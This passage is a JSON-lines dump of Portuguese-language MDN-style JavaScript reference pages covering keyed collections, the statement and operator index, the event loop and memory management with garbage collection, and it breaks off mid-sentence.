.\n\n### Coleções chaveadas: Maps, Sets, WeakMaps, WeakSets\n\nEssas estruturas de dados usam referências de objetos como chaves. `Set` e `WeakSet` representante reenviam um conjunto de objetos, enquanto `Map` e `WeakMap` associam um valor a um objeto.\n\nA diferença entre `Map`s e `WeakMap`s é que no primeiro, as chaves de objeto podem ser enumeradas. Isso permite otimizações de coleta de lixo no último caso.\n\nVocê pode implementar `Map`s e `Set`s você mesmo. No entanto, como os objetos não podem ser comparados (no sentido de `<` \"menor que\", por exemplo), nem o mecanismo expõe sua função de hash para objetos, o desempenho da pesquisa seria necessariamente linear. Implementações nativas deles (incluindo `WeakMap`s) podem ter um desempenho de pesquisa que é aproximadamente logarítmico para tempo constante.\n\nNormalmente, para vincular dados a um nó DOM, pode-se definir propriedades diretamente no objeto ou usar atributos `data-*`. Isso tem a desvantagem de que os dados estão disponíveis para qualquer script em execução no mesmo contexto. `Map`s e `WeakMap`s facilitam *privately* vincular dados a um objeto.\n\n### Dados estruturados: JSON\n\nJSON (**J**ava**S**cript **O**bject **N**otation) é um formato leve de intercâmbio de dados, derivado do JavaScript, mas usado por muitas linguagens de programação. JSON cria estruturas de dados universais.\n\nConsulte JSON e `JSON` para obter mais detalhes.\n\n### Mais objetos na biblioteca padrão\n\nJavaScript tem uma biblioteca padrão de objetos internos.\n\nPor favor, dê uma olhada na referência para saber mais sobre objetos.\n\nDeterminando tipos usando o operador `typeof`\n---------------------------------------------\n\nO operador `typeof` pode ajudá-lo a encontrar o tipo de sua variável.\n\nLeia a página de referência para obter mais detalhes e casos extremos.\n\nVeja também\n-----------\n\n* Estruturas de dados e algoritmos JavaScript por Oleksii Trekhleb\n* Coleção de Nicholas Zakas de estrutura de dados comum e algoritmos comuns em JavaScript.\n* Search Tre(i)es implementados em JavaScript\n* Tipos de dados e valores na especificação ECMAScript"}
{"title":"Referência JavaScript - JavaScript","text":"Referência JavaScript\n=====================\n\nSobre essa Referência\n---------------------\n\n A referência de JavaScript serve como um repositório para fatos sobre a linguagem JavaScript. A linguagem é inteiramente descrita aqui em detalhes. Quando você escreve códigos fontes em JavaScript, muitas vezes você irá precisar de referências ( por isto o titulo \"Referência de JavaScript\" ). Se você estiver aprendendo sobre JavaScript, ou precisa de ajuda para entender alguma das suas capacidades ou recursos, você pode conferir o Guia de JavaScript !\n O JavaScript é uma linguagem interpretada que se destina a ser utilizado dentro de algum ambiente maior, seja ele um script de um navegador, do lado do servidor, ou algo similar. Para a maior parte, esta referência se distinta à um ambiente agnóstico, e não somente ao ambiente de um navegador.\n\nOnde encontrar mais informações sobre JavaScript ?\n--------------------------------------------------\n\nVocê pode verificar a documentação do *core* da linguagem e seus novos recursos ( ECMAScript puro em sua maior parte), incluindo também :\n\n* Guia de JavaScript\n* Referência de JavaScript\n\nSe você é novo com JavaScript, recomendamos à você começar com o guia. Uma vez que você já tenha uma base sobre os fundamentos da linguagem, você pode usar a referência para obter mais detalhes sobre objetos individuais e construtores da linguagem.\n\nEstrutura da referência\n-----------------------\n\nNa referência do JavaScript você poderá encontrar os seguintes seções :\n\nPadrões de objetos internos (*built-in objects*)\n\nEsta seção documenta todos o padrão JavaScript de objetos internos, juntamente com seus métodos e propriedades.\n\nInstruções e Declarações (*Statements*)\n\nAs aplicações em JavaScript consistem em declarações com uma sintaxe apropriada. Uma única declaração pode abranger várias linhas de código. Várias instruções podem ocorrer em uma única linha também, se cada declaração for devidamente separada por ponto e virgula. Instrução não é uma palavra-chave, mas sim, um grupo de palavras-chave.\n\nExpressões e operadores\n\nEsta seção documenta todos os operadores da linguagem JavaScript, expressões e palavras-chave.\n\nFunções\n\nEsta seção é referente as funções existentes no JavaScript.\n\nNovo no JavaScript\n\nEsta seção é sobre as versões do JavaScript, contendo o histórico de versões e o que há de novo nas proximas versões.\n\n### Mais paginas de referências\n\n* Recursos e funcionalidades obsoletas\n* Gramática Léxica\n* Tipos e estruturas de dados\nObjetos Globais\n---------------\n\n{{page('/pt-BR/docs/JavaScript/Reference/Global\\_Objects', 'Standard global objects (by category)')}}Funções e escopo de função (en-US)\n----------------------------------\n\n* `argumentos` (en-US)\n* Modo Strict (en-US)\nDeclarações\n-----------\n\nAplicações em JavaScript são realizadas através de instruções com uma sintaxe apropriada. Uma única instrução pode abranger multiplas linhas. Multiplas instruções podem estar contidas em uma única linha se cada instrução estiver separada por ponto e vírgula ( ; ).\n\nInstruções e declarações por categoria\n--------------------------------------\n\nPara visualizar em ordem alfabética use a barra de rolagem à esquerda.\n\n### Control flow\n\n`Block`\n\nUma instrução de bloqueio é usada para um grupo de zero ou mais instruções. O bloqueio é delimitado por um par de chaves.\n\n`break`\n\nTermina o atual loop, troca, ou nomeia instruções e transfere o controle do programa para a próxima instrução após a que foi terminada agora.\n\n`continue`\n\nTermina a execução das instruções na atual iteração do atual loop, e continua a execução do loop com a seguinte iteração.\n\n`Empty`\n\nUma instrução vazia é usada para gerar uma \"não-instrução\", ainda que o JavaScrpit espere uma.\n\n`if...else`\n\nExecuta uma instrução se a condição especificada é verdadeira. Se a condição é falsa, outra instrução pode ser executada.\n\n`switch`\n\nRetorna uma expressão, combinando o valor da expressão a condição do caso, e executa a condição associada a este caso.\n\n`throw`\n\nAplica uma exceção definida pelo usuário.\n\n`try...catch`\n\nMarca um bloco de instruções para tentar, e especifica a resposta, uma exceção deve ser retornada.\n\n### Declarações\n\n`var`\n\nDeclara uma variável, opcionalmente inicializando com um valor.\n\nExperimental `let`\n\nDeclara acesso ao local da variável, opcionalmente inicializando com um valor.\n\nExperimental `const`\n\nDeclara uma constante de apenas leitura.\n\n### Funções e classes\n\n`function`\n\nDeclara uma função com os parâmetros especificos.\n\nExperimental `function*`\n\nGera funções habilitando iteradores de escrita mais facilmente.\n\n`return`\n\nEspecifica o valor a ser retornado por uma função.\n\nExperimental `class`\n\nDeclara uma classe.\n\n### Iterações\n\n`do...while`\n\nCria um loop que executa uma especifica instrução até que a condição de teste seja falsa. A condição é retornada depois da execução da instrução, resultando na instrução especificada executando ao menos uma vez.\n\n`for`\n\nCria um loop que consiste em três opções de expressões, entre parenteses e separado por ponto e vírgula, seguido pela instrução executada no loop.\n\nDeprecated \nNon-standard\n `for each...in`\n\nItera uma variável especificada sobre todos os valores das propriedades do objeto. Para cada propriedade distinta, uma instrução especificada é executada.\n\n`for...in`\n\nItera através de enumeráveis propriedades de um objeto, em ordem arbitrária. Para cada propriedade distinta, instruções podem ser executadas.\n\nExperimental `for...of`\n\nItera através de objetos iteráveis (incluindo arrays, array-like objects, iterators and generators (en-US)), invocando uma iteração personalizada com instruções para serem executadas pelo valor de cada propriedade.\n\n`while`\n\nCria um loop que executa uma especifica instrução enquanto o teste da condição for positivo. A condição é retornada antes de executar a instrução.\n\n### Outros\n\n`debugger`\n\nInvoca qualquer funcionalidade de depuração disponível. Se não há funcionabilidade disponível, a instrução não tem efeito.\n\nExperimental `export`\n\nUsado para exportar funções que os deixa disponível para importação em módulos externos, outros scripts.\n\nExperimental `import`\n\nUsado para importar funções exportadas de um módulo externo, outro script.\n\n`label`\n\nFornece uma instrução com um identificador que pode ser referido usando `break` ou `continue` instruções.\n\nDeprecated `with`\n\nExtende o alcance de uma instrução.\n\nVeja também\n-----------\n\n* Operators\nOperadores e outras palavras-chave\n----------------------------------\n\nEste capítulo documenta todos os operadores, expressões e keywords da linguagem JavaScript .\n\nExpressões e operadores por categoria\n-------------------------------------\n\nPara uma lista alfabética ver a barra lateral à esquerda.\n\n### Expressões primárias\n\nPalavras-chave e expressões básicas em JavaScript.\n\n`this`\n\nA palavra-chave `this` refere-se ao contexto de execução da função.\n\n`function`\n\nA palavra-chave `function` define uma função.\n\nExperimental `class`\n\nA palavra-chave `class` define uma classe.\n\nExperimental `function*`\n\nA palavra-chave `function*` define um gerador de função.\n\nExperimental `yield`\n\nPausa e retorma uma função de gerador\n\nExperimental `yield*`\n\nDelegar a outra função gerador ou objeto iterável.\n\n`[]`\n\nArray initializer/literal syntax.\n\n`{}`\n\nObject initializer/literal syntax.\n\n`/ab+c/i`\n\nRegular expression literal syntax.\n\nExperimental `[for (x of y) x]` (en-US)\n\nArray comprehensions.\n\nExperimental `(for (x of y) y)` (en-US)\n\nGenerator comprehensions.\n\n`( )`\n\nGrouping operator.\n\n### Left-hand-side expressions\n\nLeft values are the destination of an assignment.\n\nProperty accessors\n\n Member operators provide access to a property or method of an object\n (`object.property` and `object[\"property\"]`).\n\n\n`new`\n\nThe `new` operator creates an instance of a constructor.\n\nExperimental `super`\n\nThe `super` keyword calls the parent constructor.\n\nExperimental `...obj` (en-US)\n\nThe spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.\n\n### Incremento e decremento\n\nOperadores sufixo/prefixo para incremento e sufixo/prefixo para decremento.\n\n`A++` (en-US)\n\nOperador sufixo para incremento.\n\n`A--` (en-US)\n\nOperador sufixo para decremento.\n\n`++A` (en-US)\n\nOperador prefixo para incremento.\n\n`--A` (en-US)\n\nOperador prefixo para decremento.\n\n### Unary operators\n\nA unary operation is operation with only one operand.\n\n`delete` (en-US)\n\nThe `delete` operator deletes a property from an object.\n\n`void`\n\nThe `void` operator discards an expression's return value.\n\n`typeof`\n\nThe `typeof` operator determines the type of a given object.\n\n`+` (en-US)\n\nThe unary plus operator converts its operand to Number type.\n\n`-` (en-US)\n\nThe unary negation operator converts its operand to Number type and then negates it.\n\n`~` (en-US)\n\nBitwise NOT operator.\n\n`!` (en-US)\n\nLogical NOT operator.\n\n### Operadores aritméticos\n\nArithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value.\n\n`+` (en-US)\n\nOperador de soma.\n\n`-` (en-US)\n\nOperador de subtração.\n\n`/` (en-US)\n\nOperador de divisão.\n\n`*` (en-US)\n\nOperador de multiplicação.\n\n`%` (en-US)\n\nRemainder operator.\n\n### Operadores relacionais\n\nA comparison operator compares its operands and returns a `Boolean` value based on whether the comparison is true.\n\n`in`\n\nThe `in` operator determines whether an object has a given property.\n\n`instanceof`\n\nThe `instanceof` operator determines whether an object is an instance of another object.\n\n`<` (en-US)\n\nOperador \"menor que\".\n\n`>` (en-US)\n\nOperador \"maior que\".\n\n`<=` (en-US)\n\nOperador \"menor ou igual que\".\n\n`>=` (en-US)\n\nOperador \"maior ou igual que\".\n\n### Operadores de igualdade\n\nO resultador de um operador de igualdade é do tipo `Booleano` baseado que a comparação seja verdadeira.\n\n`==` (en-US)\n\nOperadores de igualdade.\n\n`!=` (en-US)\n\nInequality operator.\n\n`===` (en-US)\n\nIdentity operator.\n\n`!==` (en-US)\n\nNonidentity operator.\n\n### Bitwise shift operators\n\nOperations to shift all bits of the operand.\n\n`<<` (en-US)\n\nBitwise left shift operator.\n\n`>>` (en-US)\n\nBitwise right shift operator.\n\n`>>>` (en-US)\n\nBitwise unsigned right shift operator.\n\n### Binary bitwise operators\n\nBitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard JavaScript numerical values.\n\n`&` (en-US)\n\nBitwise AND.\n\n`|` (en-US)\n\nBitwise OR.\n\n`^` (en-US)\n\nBitwise XOR.\n\n### Operadores Lógicos Binários\n\nOperadores lógicos são normalmente usados com boolean (logical) valores, e quando eles são, eles retornam um valor Boolean.\n\n`&&` (en-US)\n\nAND.\n\n`||` (en-US)\n\nOR.\n\n### Operador de Condicional (ternário)\n\n`(condition ? ifTrue : ifFalse)`\n\nO operador condicional retorna um dos dois valores baseado no valor lógico da condição.\n\n### Assignment operators\n\nAn assignment operator assigns a value to its left operand based on the value of its right operand.\n\n`=` (en-US)\n\nAssignment operator.\n\n`*=` (en-US)\n\nMultiplication assignment.\n\n`/=` (en-US)\n\nDivision assignment.\n\n`%=` (en-US)\n\nRemainder assignment.\n\n`+=` (en-US)\n\nAddition assignment.\n\n`-=` (en-US)\n\nSubtraction assignment\n\n`<<=` (en-US)\n\nLeft shift assignment.\n\n`>>=` (en-US)\n\nRight shift assignment.\n\n`>>>=` (en-US)\n\nUnsigned right shift assignment.\n\n`&=` (en-US)\n\nBitwise AND assignment.\n\n`^=` (en-US)\n\nBitwise XOR assignment.\n\n`|=` (en-US)\n\nBitwise OR assignment.\n\nExperimental\n `[a, b] = [1, 2]`\n\nExperimental\n `{a, b} = {a:1, b:2}`\n\nDestructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.\n\n### Comma operator\n\n`,`\n\nThe comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.\n\n### Non-standard features\n\nNon-standard Legacy generator function (en-US)\n\nThe `function` keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one `yield` expression.\n\nNon-standard Expression closures\n\nThe expression closure syntax is a shorthand for writing simple function.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-addition-operator-plus |\n| ECMAScript Language Specification # sec-assignment-operators |\n| ECMAScript Language Specification # sec-async-function-definitions |\n| ECMAScript Language Specification # sec-async-generator-function-definitions |\n| ECMAScript Language Specification # prod-BitwiseANDExpression |\n| ECMAScript Language Specification # sec-bitwise-not-operator |\n| ECMAScript Language Specification # prod-BitwiseORExpression |\n| ECMAScript Language Specification # prod-BitwiseXORExpression |\n| ECMAScript Language Specification # sec-class-definitions |\n| ECMAScript Language Specification # sec-comma-operator |\n| ECMAScript Language Specification # sec-conditional-operator |\n| ECMAScript Language Specification # sec-postfix-decrement-operator |\n| ECMAScript Language Specification # sec-delete-operator |\n| ECMAScript Language Specification # sec-destructuring-assignment |\n| ECMAScript Language Specification # sec-destructuring-binding-patterns |\n| ECMAScript Language Specification # sec-multiplicative-operators |\n| ECMAScript Language Specification # sec-equality-operators |\n| ECMAScript Language Specification # sec-exp-operator |\n| ECMAScript Language Specification # sec-function-definitions |\n| ECMAScript Language Specification # sec-generator-function-definitions |\n| ECMAScript Language Specification # sec-relational-operators |\n| ECMAScript Language Specification # sec-grouping-operator |\n| ECMAScript Language Specification # sec-import-calls |\n| ECMAScript Language Specification # prod-ImportMeta |\n| HTML Standard # hostgetimportmetaproperties |\n| ECMAScript Language Specification # sec-postfix-increment-operator |\n| ECMAScript Language Specification # sec-left-shift-operator |\n| ECMAScript Language Specification # prod-LogicalANDExpression |\n| ECMAScript Language Specification # sec-logical-not-operator |\n| ECMAScript Language Specification # prod-LogicalORExpression |\n| ECMAScript Language Specification # sec-new-operator |\n| ECMAScript Language Specification # sec-built-in-function-objects |\n| ECMAScript Language Specification # sec-null-value |\n| ECMAScript Language Specification # prod-CoalesceExpression |\n| ECMAScript Language Specification # sec-object-initializer |\n| ECMAScript Language Specification # prod-OptionalExpression |\n| ECMAScript Language Specification # sec-property-accessors |\n| ECMAScript Language Specification # sec-signed-right-shift-operator |\n| ECMAScript Language Specification # prod-SpreadElement |\n| ECMAScript Language Specification # prod-ArgumentList |\n| ECMAScript Language Specification # prod-PropertyDefinition |\n| ECMAScript Language Specification # sec-subtraction-operator-minus |\n| ECMAScript Language Specification # sec-super-keyword |\n| ECMAScript Language Specification # sec-this-keyword |\n| ECMAScript Language Specification # sec-typeof-operator |\n| ECMAScript Language Specification # sec-unary-minus-operator |\n| ECMAScript Language Specification # sec-unary-plus-operator |\n| ECMAScript Language Specification # sec-unsigned-right-shift-operator |\n| ECMAScript Language Specification # sec-void-operator |\n| ECMAScript Language Specification # prod-YieldExpression |\n| ECMAScript Language Specification # sec-generator-function-definitions-runtime-semantics-evaluation |\n\nVeja também\n-----------\n\n* Operator precedence\nComentários\n-----------\n\n* Comentários de código (en-US) (`//` and `/* */`)\nE4X (extensão)\nDeprecated\n-------------------------\n\nDeclarações Globais:\n\n* default XML namespace\n\nFunções Globais:\n\n* isXMLName()\n\nConstrutores Globais:\n\n* Namespace()\n* QName()\n* XML()\n* XMLList()\nApêndice A - Palavras Reservadas (en-US)\n----------------------------------------\n\nApêndice B - Funcionalidades Obsoletas (en-US)\n----------------------------------------------"}
{"title":"Modelo de Concorrência e Event Loop - JavaScript","text":"Modelo de Concorrência e Event Loop\n===================================\n\nO JavaScript possui um modelo de concorrência baseado em um **event loop** (laço de eventos), em português), responsável pela execução do código, coleta e processamento de eventos e execução de subtarefas enfileiradas. Este modelo é bem diferente de outras linguagens, como C ou Java, por exemplo.\n\nConceitos de runtime (tempo de execução)\n----------------------------------------\n\nOs próximos tópicos irão explicar teoricamente o modelo. Interpretadores modernos de JavaScript implementam e otimizam fortemente as semânticas descritas.\n\n### Representação visual\n\n![Stack, heap, queue](/pt-BR/docs/Web/JavaScript/Event_loop/the_javascript_runtime_environment_example.svg)\n\n### Pilha (Stack)\n\nAs chamadas de funções criam uma pilha de *frames* (quadros).\n\n\n```js\nfunction foo(b) {\n  let a = 10;\n  return a + b + 11;\n}\n\nfunction bar(x) {\n  let y = 3;\n  return foo(x \\* y);\n}\n\nconst baz = bar(7); // atribui 42 a baz\n```\n\n\nOrdem das operações:\n\n1. Quando chamamos a função `bar`, o primeiro *frame* é criado contendo argumentos e variáveis locais de `bar`.\n2. Quando a função `bar` chama `foo`, o segundo *frame* é criado e é colocado no topo da pilha, contendo os argumentos e as variáveis locais de `foo`.\n3. Quando `foo` retorna, o *frame* do topo é removido da pilha (deixando apenas o *frame* da chamada de `bar`).\n4. Quando `bar` retorna, a pilha fica vazia.\n\nNote que os argumentos e variáveis locais podem continuar existindo, pois são armazenados fora da pilha — de forma que podem ser acessados por quaisquer funções aninhadas muito depois de sua função externa ter retornado.\n\n### Acervo (Heap)\n\nOs objetos são alocados em um *heap* (acervo), que é apenas um nome para denotar uma grande região não estruturada da memória.\n\n### Fila (Queue)\n\nO *runtime* do JavaScript contém uma fila de mensagens, que é uma lista de mensagens a serem processadas. Cada mensagem é associada a uma função, que é chamada para lidar com a mensagem.\n\nEm algum ponto durante o *event loop* (laço de eventos), o *runtime* começa a manipular as mensagens na fila, começando pela mais antiga. Para fazer isso, a mensagem é removida da fila e sua função correspondente é chamada com a mensagem como um parâmetro de *input* (entrada). Como de costume, chamar uma função cria um novo *frame* (quadro) na pilha para uso dessa função.\n\nO processamento de funções continua até que a pilha fique novamente vazia, então o *event loop* processará a próxima mensagem na fila (se houver uma).\n\nLaço de Eventos (Event loop)\n----------------------------\n\nO ***Event loop*** tem esse nome por causa da forma que normalmente é implementado, que se assemelha a:\n\n\n```js\nwhile (queue.waitForMessage()) {\n  queue.processNextMessage();\n}\n```\n\n\n`queue.waitForMessage` aguarda, de maneira síncrona, receber uma mensagem (se não houver nenhuma já disponível esperando para ser tratada).\n\n### Processamento Completo (\"Run-to-completion\")\n\nCada mensagem é processada completamente antes de outra mensagem ser processada. Isso oferece um bom fundamento ao pensar sobre o seu *software*, incluindo o fato de que, independente de quando uma função é executada, ela não pode ser interrompida e, portanto, será executada por completo antes que outro código rode (e modifique dados manipuláveis pela função). Isso é diferente do C, por exemplo, no qual uma função que está sendo executada em uma *thread* (um fluxo de execução), pode ser interrompida a qualquer momento para executar um outro código em outra *thread*.\n\nUm aspecto negativo deste modelo é que se uma mensagem levar muito tempo para ser finalizada, a aplicação web ficará indisponível para processar as interações do usuário, como cliques ou rolagens. O navegador mitiga este problema através do aviso: \"*Um script desta página pode estar ocupado, ou parou de responder*\". Uma boa prática a seguir é fazer o processamento de mensagens curtas, e, se possível, dividir uma longa mensagem em múltiplas mensagens menores.\n\n### Adicionando mensagens\n\nNos navegadores, as mensagens são adicionadas a qualquer momento que um evento é acionado se este possuir um *listener* (ouvinte). Caso não haja, o evento será ignorado. Assim, um clique em um elemento com um manipulador de eventos de clique adicionará uma mensagem, como qualquer outro evento.\n\nA função `setTimeout` (en-US) é chamada com 2 argumentos: uma mensagem para adicionar à fila (queue) e um valor em tempo (opcional, o padrão é `0`). O valor de tempo (*time value*) representa o intervalo (mínimo) com que a mensagem será realmente enviada à fila. Se não houver outra mensagem na fila, a mensagem será processada logo após o intervalo. No entanto, caso haja mensagens, a mensagem `setTimeout` terá que esperar até que outras mensagens sejam processadas. Por esse motivo, o segundo argumento indica um tempo *mínimo* e não um tempo *garantido*.\n\nAqui está um exemplo que demonstra esse conceito (`setTimeout` não é executado imediatamente após o temporizador expirar):\n\n\n```js\nconst s = new Date().getSeconds();\n\nsetTimeout(function () {\n  // imprime \"2\", o que significa que o callback não é chamado imediatamente após 500 milissegundos.\n  console.log(\"Ran after \" + (new Date().getSeconds() - s) + \" seconds\");\n}, 500);\n\nwhile (true) {\n  if (new Date().getSeconds() - s >= 2) {\n    console.log(\"Good, looped for 2 seconds\");\n    break;\n  }\n}\n```\n\n### Intervalos de zero segundos\n\nO intervalo zero não significa, necessariamente, que o *callback* será disparado após zero milissegundos. Chamar `setTimeout` (en-US) com um intervalo de `0` (zero) milissegundos não executa a função do *callback* após intervalo dado.\n\nA execução depende do número de mensagens em espera na fila. No exemplo abaixo, a mensagem `''this is just a message''` será escrita no console antes que a mensagem do *callback* seja processada, porque, como informado previamente, o intervalo definido na função indica o tempo *mínimo* necessário para que a aplicação processe a requisição e não o tempo *exato* de processamento.\n\nBasicamente, `setTimeout` precisa esperar que todo o código das mensagens enfileiradas seja concluído, mesmo que você tenha especificado um tempo limite específico para o seu `setTimeout`.\n\n\n```js\n(function () {\n  console.log(\"this is the start\");\n\n  setTimeout(function cb() {\n    console.log(\"Callback 1: this is a msg from call back\");\n  }); // tem um valor de tempo padrão de 0\n\n  console.log(\"this is just a message\");\n\n  setTimeout(function cb1() {\n    console.log(\"Callback 2: this is a msg from call back\");\n  }, 0);\n\n  console.log(\"this is the end\");\n})();\n\n// \"this is the start\"\n// \"this is just a message\"\n// \"this is the end\"\n// \"Callback 1: this is a msg from call back\"\n// \"Callback 2: this is a msg from call back\"\n```\n\n### Múltiplos *runtimes* comunicando-se em conjunto\n\nUm *web worker* ou um `iframe` com uma diferente origem (cross-origin) tem seu próprio *stack*, *heap* e *queue* de messagens. Dois *runtimes* distintos só podem se comunicar por meio do envio de mensagens via método `postMessage` (en-US). Este método adiciona uma mensagem ao outro *runtime*, se este escutar os eventos de `message`.\n\nSem bloqueio\n------------\n\nUma propriedade muito interessante do modelo *event loop* é que o JavaScript, ao contrário de muitas outras linguagens, nunca bloqueia. A manipulação de E/S (*I/O*) é tipicamente realizada através de eventos e *callbacks*. Portanto, quando uma aplicação está esperando pelo retorno de uma consulta do IndexedDB ou de uma requisição XHR, ela ainda pode processar outras coisas, como as ações do usuário.\n\nExceções de legado existem, como por exemplo, `alert` ou XHR síncrono, mas é considerado uma boa prática evitá-los. Tome cuidado, exceções a exceção existem (mas geralmente são, mais do que qualquer coisa, *bugs* de implementação).\n\nVeja também\n-----------\n\n* Event loops no HTML standard\n* Node.js Event Loop"}
{"title":"Gerenciamento de Memória - JavaScript","text":"Gerenciamento de Memória\n========================\n\nIntrodução\n----------\n\nLinguagens de baixo nível, como C, tem primitivas de gerenciamento de memória de baixo nível como `malloc()` e `free()`. Em contrapartida, os valores do JavaScript são alocados quando coisas (objetos, strings, etc.) são criadas e \"automaticamente\" liberadas quando não são mais usadas. Este último processo se chama *garbage collection*. Facilmente se torna uma fonte de confusão e dá a impressão aos desenvolvedores JavaScript (e outras linguagens de alto nível) que eles não precisam se preocupar com o consumo de memória. Isto é um erro.\n\nCiclo de vida da memória\n------------------------\n\nIndependentemente da linguagem de programação, o ciclo de vida da memória é praticamente sempre o mesmo:\n\n1. Alocar a memória que você precisa\n2. Utilizar a memória alocada (ler, escrever)\n3. Liberar a memória alocada quando não é mais necessária\n\nA primeira e a segunda parte são explícitas em todas as linguagens. A última parte é explicita em linguagens de baixo nível, porém implícito em linguagens de alto nível como JavaScript.\n\n### Alocação no JavaScript\n\n#### Inicialização de valor\n\nA fim de não incomodar o programador com alocações, o JavaScript faz isso com os valores conforme são declarados.\n\n\n```js\nvar n = 123; // aloca memória para um número\nvar s = \"azerty\"; // aloca memória para uma string\n\nvar o = {\n  a: 1,\n  b: null,\n}; // aloca memória para um objeto e seus valores contidos\n\n// (assim como o objeto) aloca memória para o vetor e\n// seus valores contidos\nvar a = [1, null, \"abra\"];\n\nfunction f(a) {\n  return a + 2;\n} // aloca uma função (que é um objeto que pode ser chamado)\n\n// expressões de funções também alocam um objeto\nsomeElement.addEventListener(\n  \"click\",\n  function () {\n    someElement.style.backgroundColor = \"blue\";\n  },\n  false,\n);\n```\n\n\n#### Alocação via chamada de uma função\n\nAlgumas funções quando chamadas resultam na alocação de um objeto.\n\n\n```js\nvar d = new Date();\n// aloca um elemento do DOM\nvar e = document.createElement(\"div\");\n```\n\n\nAlguns métodos alocam novos valores ou objetos:\n\n\n```js\nvar s = \"azerty\";\nvar s2 = s.substr(0, 3); // s2 é uma nova string\n// Como as strings são valores imutáveis,\n// o JavaScript pode decidir não alocar memória,\n// mas apenas armazenar o intervalo [0, 3].\n\nvar a = [\"ouais ouais\", \"nan nan\"];\nvar a2 = [\"generation\", \"nan nan\"];\nvar a3 = a.concat(a2);\n// novo vetor com 4 elementos sendo\n// a concatenação dos elementos a e a2\n```\n\n### Utilização de valores\n\nA utilização de valores basicamente significa leitura e escrita em memória alocada. Isto pode ser feito ao ler ou escrever o valor de uma variável ou a propriedade de um objeto ou até mesmo ao passar um argumento para uma função.\n\n### Libere quando a memória não for mais necessária\n\nA maioria dos problemas relacionados ao gerenciamento de memória aparecem nesta fase. A tarefa mais complicada aqui é descobrir quando \"a memória alocada não é mais necessária\". Geralmente exige que o desenvolvedor determine a onde no programa tal pedaço da memória não é mais necessária e liberá-la.\n\nLinguagens de alto nível vêm com um pedaço de software chamado \"garbage collector\" (coletor de sujeira), cujo trabalho é monitorar a alocação de memória a fim de descobrir quando um pedaço de código não é mais necessário e neste caso, automaticamente liberá-lo. Este processo é algo aproximado já que, em geral, saber se um pedaço de memória é necessário é algo indecidível (que não pode ser resolvido através de um algoritmo).\n\nGarbage collection\n------------------\n\nComo foi mencionado acima, em geral o problema de automaticamente descobrir se a memória \"não é mais necessária\" é indecidível. Como consequência, os *garbage collections* implementam uma limitação de uma solução ao problema em geral. Esta seção irá explicar os conceitos necessários para entender os principais algoritmos de garbage collection e suas limitações.\n\n### Referências\n\nO principal conceito de algoritmos do garbage collection depende do conceito de *referência*. Dentro do contexto de gerenciamento de memória, é dito que um objeto faz referência a outro, caso o primeiro tenha acesso a este último (de maneira implícita ou explícita). Por exemplo, um objeto JavaScript tem uma referência ao seu prototype (referência implícita) e para os valores de suas propriedades (referência explícita).\n\nNeste contexto, o conceito de \"objeto\" se extende para algo mais abrangente do que os objetos comuns do JavaScript, e também contém escopos de função (ou o escopo lexical global).\n\n### Referência de contagem do garbage collection\n\nEste é o algoritmo mais ingênuo de garbage collection. este algoritmo reduz a definição de \"um objeto não mais necessário\" para \"um objeto não tem outro objeto referenciando ele\". Um objeto pode ser coletado pelo garbage collector se não existir referência apontando para este objeto.\n\n#### Exemplo\n\n\n```js\nvar o = {\n  a: {\n    b: 2,\n  },\n};\n// 2 objetos são criados. Um é referenciado pelo outro como uma de suas propriedades.\n// O outro é referenciado pelo fato de ser atribuído à variável 'o'.\n// Obviamente, nenhum pode ser coletado pelo garbage collector\n\nvar o2 = o; // a varável 'o2' é a segunda coisa que tem\n// uma referência ao objeto\no = 1; // agora, o objeto que estava originalmente no 'o'\n// tem uma referência única\n// encorporada pela variável 'o2'\n\nvar oa = o2.a; // Referência para a propriedade 'a' do objeto.\n// Este objeto agora tem 2 referências: uma como uma propriedade,\n// a outra como a variável 'oa'\n\no2 = \"yo\"; // O objeto que estava originalmente em 'o' agora não tem\n// nenhuma referência para ele.\n// Ele poderia ser coletado pelo garbage collector.\n// Entretanto o que era sua propriedade 'a' continua sendo referenciada\n// pela variável 'oa', então ele não pode ser coletado.\n\noa = null; // O que era a propriedade 'a' do objeto original em 'o'\n// não tem mais refêrencia para ele. Então pode ser coletado.\n```\n\n\n#### Limitação : ciclos\n\nEsse algoritmo ingênuo tem a limitação de que objetos que referenciam um ao outro (e formam um ciclo), podem ser \"não mais necessários\" e ainda assim não serem coletados.\n\n\n```js\nfunction f() {\n  var o = {};\n  var o2 = {};\n  o.a = o2; // o referencia o2\n  o2.a = o; // o2 referencia o\n\n  return \"azerty\";\n}\n\nf();\n// Dois objetos são criados e referenciam um ao outro criando assim um ciclo.\n// Eles não vão sair do escopo da função depois dela ser chamada, então eles\n// são efetivamente inúteis e podem ser liberados.\n// Entretanto, o algoritmo contador de referências considera que desde que ambos\n// os objetos sejam referenciados pelo menos uma vez,\n// nenhum deles podem ser coletados.\n```\n\n\n#### Exemplo da vida real\n\nInternet Explorer 6 e 7 são conhecidos por terem um coletor com contador de referências para os objetos do DOM. Ciclos são um erro comum que podem gerar erros na memória:\n\n\n```js\nvar div;\nwindow.onload = function () {\n  div = document.getElementById(\"minhaDiv\");\n  div.referenciaCircular = div;\n  div.muitosDados = new Array(10000).join(\"\\*\");\n};\n```\n\n\nNo exemplo acima, o elemento do DOM \"minhaDiv\" tem uma referência circular para ela mesma na propriedade \"referenciaCircular\". Se a propriedade não for removida ou anulada explicitamente, o contador de referências do coletor sempre terá pelo menos uma referência intacta e irá manter o elemento do DOM na memória mesmo se ele for removido da árvore do DOM. Se o elemento do DOM retém muitos dados (ilustrado no exemplo acima com a propriedade \"muitosDados\"), a memória consumida por esses dados não será liberada.\n\n### Algoritmo de varredura e rotulação\n\nEsse algoritmo reduz a definição de \"um objeto não é mais necessário\" para \"um objeto é inacessível\".\n\nEsse algoritmo assume o conhecimento de uma lista de objetos chamada *roots* (raízes) (no JavaScript, o root é o objeto global). Periodicamente, o coletor iniciará por esses roots, encontrando todos os objetos que são referenciados por esses roots, então todos os objetos referenciados por eles, etc. Começando pelos roots, o coletor encontrará todos os objetos acessíveis e coletará todos os objetos inacessíveis.\n\nEsse algoritmo é melhor que o anterior pois \"um objeto 